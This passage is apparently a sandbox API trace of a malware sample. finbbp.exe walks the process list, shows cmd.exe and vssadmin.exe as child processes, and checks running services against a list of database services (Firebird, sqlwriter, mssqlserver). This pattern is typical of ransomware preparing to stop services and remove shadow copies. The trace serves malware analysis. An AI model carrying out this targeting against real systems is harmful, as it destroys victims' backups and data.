[0256.964] lstrlenW (lpString="explorer.exe") returned 12 [0256.964] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0256.964] lstrlenW (lpString="SearchUI.exe") returned 12 [0256.964] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0256.965] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0256.965] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0256.965] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0256.965] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0256.966] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0256.966] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0256.966] lstrlenW (lpString="finbbp.exe") returned 10 [0256.966] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0256.967] lstrlenW (lpString="cmd.exe") returned 7 [0256.967] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0256.967] lstrlenW (lpString="conhost.exe") returned 11 [0256.967] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0256.968] lstrlenW (lpString="vssadmin.exe") returned 12 [0256.968] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0256.968] lstrlenW (lpString="consent.exe") returned 11 [0256.968] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.969] lstrlenW (lpString="svchost.exe") returned 11 [0256.969] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0256.970] CloseHandle (hObject=0x3b4) returned 1 [0256.970] Sleep (dwMilliseconds=0x1f4) [0257.888] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa9e8 [0257.889] EnumServicesStatusExW (in: hSCManager=0x41aa9e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0257.889] GetLastError () returned 0xea [0257.889] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x4207e50 [0257.890] EnumServicesStatusExW (in: hSCManager=0x41aa9e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4207e50, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4207e50, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0257.891] CloseServiceHandle (hSCObject=0x41aa9e8) returned 1 [0257.891] lstrlenW (lpString="Appinfo") returned 7 [0257.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0257.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0257.892] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0257.892] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0257.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0257.892] lstrlenW (lpString="AppXSvc") returned 7 [0257.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0257.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0257.892] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0257.892] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0257.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0257.892] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0257.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0257.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0257.892] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0257.892] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0257.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0257.892] lstrlenW (lpString="Audiosrv") returned 8 [0257.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0257.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0257.892] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0257.892] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0257.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0257.892] lstrlenW (lpString="BFE") returned 3 [0257.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0257.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0257.893] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0257.893] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0257.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0257.893] lstrlenW (lpString="BITS") returned 4 [0257.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0257.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0257.893] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0257.893] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0257.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0257.893] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0257.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0257.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0257.893] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0257.893] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0257.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0257.893] lstrlenW (lpString="CDPSvc") returned 6 [0257.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0257.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0257.893] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0257.893] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0257.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0257.893] lstrlenW (lpString="ClickToRunSvc") returned 13 [0257.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0257.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0257.894] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0257.894] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0257.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0257.894] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0257.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0257.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0257.894] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0257.894] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0257.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0257.894] lstrlenW (lpString="CryptSvc") returned 8 [0257.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0257.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0257.894] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0257.894] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0257.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0257.894] lstrlenW (lpString="DcomLaunch") returned 10 [0257.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0257.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0257.894] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0257.894] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0257.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0257.894] lstrlenW (lpString="DeviceAssociationService") returned 24 [0257.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0257.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0257.894] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0257.895] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0257.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0257.895] lstrlenW (lpString="Dhcp") returned 4 [0257.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0257.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0257.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0257.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0257.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0257.895] lstrlenW (lpString="Dnscache") returned 8 [0257.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0257.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0257.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0257.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0257.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0257.895] lstrlenW (lpString="DPS") returned 3 [0257.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0257.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0257.895] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0257.895] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0257.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0257.895] lstrlenW (lpString="DusmSvc") returned 7 [0257.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0257.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0257.895] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0257.896] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0257.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0257.896] lstrlenW (lpString="EventLog") returned 8 [0257.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0257.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0257.896] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0257.896] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0257.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0257.896] lstrlenW (lpString="EventSystem") returned 11 [0257.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0257.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0257.896] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0257.896] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0257.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0257.896] lstrlenW (lpString="FontCache") returned 9 [0257.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0257.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0257.897] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0257.897] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0257.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0257.897] lstrlenW (lpString="gpsvc") returned 5 [0257.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0257.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0257.897] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0257.897] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0257.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0257.897] lstrlenW (lpString="iphlpsvc") returned 8 [0257.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0257.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0257.897] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0257.897] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0257.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0257.897] lstrlenW (lpString="KeyIso") returned 6 [0257.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0257.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0257.897] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0257.897] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0257.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0257.897] lstrlenW (lpString="LanmanServer") returned 12 [0257.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0257.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0257.898] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0257.898] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0257.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0257.898] lstrlenW (lpString="LanmanWorkstation") returned 17 [0257.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0257.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0257.898] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0257.898] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0257.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0257.898] lstrlenW (lpString="lfsvc") returned 5 [0257.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0257.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0258.333] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0258.333] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0258.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0258.333] lstrlenW (lpString="lmhosts") returned 7 [0258.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0258.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0258.333] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0258.333] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0258.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0258.333] lstrlenW (lpString="LSM") returned 3 [0258.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0258.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0258.333] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0258.333] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0258.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0258.333] lstrlenW (lpString="MpsSvc") returned 6 [0258.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0258.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0258.333] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0258.333] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0258.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0258.333] lstrlenW (lpString="NcbService") returned 10 [0258.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0258.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0258.334] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0258.334] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0258.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0258.334] lstrlenW (lpString="netprofm") returned 8 [0258.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0258.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0258.334] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0258.334] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0258.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0258.334] lstrlenW (lpString="NgcSvc") returned 6 [0258.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0258.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0258.334] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0258.334] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0258.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0258.334] lstrlenW (lpString="NlaSvc") returned 6 [0258.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0258.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0258.335] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0258.335] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0258.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0258.335] lstrlenW (lpString="nsi") returned 3 [0258.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0258.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0258.335] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0258.335] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0258.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0258.335] lstrlenW (lpString="PcaSvc") returned 6 [0258.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0258.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0258.335] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0258.335] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0258.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0258.335] lstrlenW (lpString="PlugPlay") returned 8 [0258.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0258.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0258.335] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0258.335] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0258.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0258.335] lstrlenW (lpString="Power") returned 5 [0258.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0258.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0258.336] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0258.336] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0258.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0258.336] lstrlenW (lpString="ProfSvc") returned 7 [0258.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0258.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0258.336] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0258.336] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0258.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0258.336] lstrlenW (lpString="RpcEptMapper") returned 12 [0258.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0258.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0258.336] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0258.336] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0258.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0258.336] lstrlenW (lpString="RpcSs") returned 5 [0258.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0258.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0258.337] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0258.337] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0258.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0258.337] lstrlenW (lpString="SamSs") returned 5 [0258.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0258.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0258.337] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0258.337] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0258.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0258.337] lstrlenW (lpString="Schedule") returned 8 [0258.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0258.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0258.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0258.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0258.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0258.337] lstrlenW (lpString="SecurityHealthService") returned 21 [0258.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0258.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0258.337] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0258.337] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0258.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0258.338] lstrlenW (lpString="SENS") returned 4 [0258.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0258.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0258.338] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0258.338] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0258.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0258.338] lstrlenW (lpString="ShellHWDetection") returned 16 [0258.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0258.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0258.338] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 